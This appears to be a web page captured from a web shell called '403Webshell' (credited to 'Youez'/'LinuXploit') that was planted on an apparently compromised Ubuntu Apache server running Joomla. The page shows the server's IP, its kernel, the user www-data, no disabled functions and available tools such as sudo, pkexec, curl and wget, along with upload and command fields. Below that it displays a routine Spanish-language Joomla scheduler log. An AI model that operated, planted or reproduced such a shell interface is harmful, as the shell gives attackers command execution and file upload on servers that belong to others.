403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.197.209
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/bienestar/administrator/logs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/bienestar/administrator/logs/joomla_scheduler.php
#
#<?php die('Forbidden.'); ?>
#Date: 2024-10-18 14:10:42 UTC
#Software: Joomla! 5.2.0 Stable [ Uthabiti ] 15-October-2024 16:00 GMT

#Fields: date	time	priority	message
2024-10-18	14:10:42	INFO	Ejecutando la tarea#02 'Session GC'.
2024-10-18	14:10:42	INFO	Tarea> SessionGC end
2024-10-18	14:10:42	INFO	Ha finalizado con éxito la tarea#02 en 0.00 (neto 0.00) segundos.
2024-10-21	13:36:36	INFO	Ejecutando la tarea#02 'Session GC'.
2024-10-21	13:36:36	INFO	Tarea> SessionGC end
2024-10-21	13:36:36	INFO	Ha finalizado con éxito la tarea#02 en 0.00 (neto 0.00) segundos.
2024-10-22	13:48:30	INFO	Ejecutando la tarea#02 'Session GC'.
2024-10-22	13:48:30	INFO	Tarea> SessionGC end
2024-10-22	13:48:30	INFO	Ha finalizado con éxito la tarea#02 en 0.00 (neto 0.00) segundos.
2024-10-23	14:42:40	INFO	Ejecutando la tarea#02 'Session GC'.
2024-10-23	14:42:40	INFO	Tarea> SessionGC end
2024-10-23	14:42:40	INFO	Ha finalizado con éxito la tarea#02 en 0.00 (neto 0.00) segundos.
2024-10-24	20:41:27	INFO	Ejecutando la tarea#02 'Session GC'.
2024-10-24	20:41:27	INFO	Tarea> SessionGC end
2024-10-24	20:41:27	INFO	Ha finalizado con éxito la tarea#02 en 0.00 (neto 0.00) segundos.

Youez - 2016 - github.com/yon3zu
LinuXploit